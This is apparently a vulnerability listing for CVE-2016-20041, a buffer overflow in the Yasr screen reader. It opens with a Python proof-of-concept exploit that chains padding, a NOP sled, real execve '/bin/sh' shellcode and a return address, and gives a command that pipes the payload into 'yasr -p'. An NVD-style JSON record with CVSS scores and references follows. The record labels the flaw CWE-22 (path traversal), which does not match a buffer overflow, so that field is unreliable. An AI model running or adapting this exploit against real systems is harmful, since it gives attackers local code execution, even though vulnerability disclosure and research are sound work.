CVE-2016-20041

#!/usr/bin/env python3 # PoC for CVE-2016-20041 (Yasr Buffer Overflow) # Usage: python3 poc.py | xargs yasr -p import struct # Payload construction # Offset to overwrite EIP (Example value, needs debugging) offset = 1036 padding = b"A" * offset # Shellcode (Example: exec /bin/sh) # This is a placeholder, actual shellcode depends on the target OS/Arch shellcode = b"\x90" * 32 # NOP sled shellcode += b"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80" # Return address (Example address) ret_addr = struct.pack("<I", 0xbffffe01) payload = padding + shellcode + ret_addr try: print("Sending payload to yasr -p ...") # In a real scenario, this would pass the payload to the binary print(payload.decode('latin-1')) except Exception as e: print(f"Error: {e}")

{"cve": {"id": "CVE-2016-20041", "sourceIdentifier": "[email protected]", "published": "2026-03-28T12:15:59.860", "lastModified": "2026-05-01T15:21:32.393", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Yasr 0.6.9-5 contains a buffer overflow vulnerability that allows local attackers to crash the application or execute arbitrary code by supplying an oversized argument to the -p parameter. Attackers can invoke yasr with a crafted payload containing junk data, shellcode, and a return address to overwrite the stack and trigger code execution."}, {"lang": "es", "value": "Yasr 0.6.9-5 contiene una vulnerabilidad de desbordamiento de búfer que permite a atacantes locales bloquear la aplicación o ejecutar código arbitrario al proporcionar un argumento sobredimensionado al parámetro -p. Los atacantes pueden invocar yasr con una carga útil manipulada que contiene datos basura, shellcode y una dirección de retorno para sobrescribir la pila y desencadenar la ejecución de código."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.6, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.4, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.5, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-22"}]}], "references": [{"url": "http://yasr.sourceforge.net/", "source": "[email protected]"}, {"url": "https://www.exploit-db.com/exploits/39734", "source": "[email protected]"}, {"url": "https://www.vulncheck.com/advisories/yasr-5-buffer-overflow-via-command-line-parameter", "source": "[email protected]"}]}}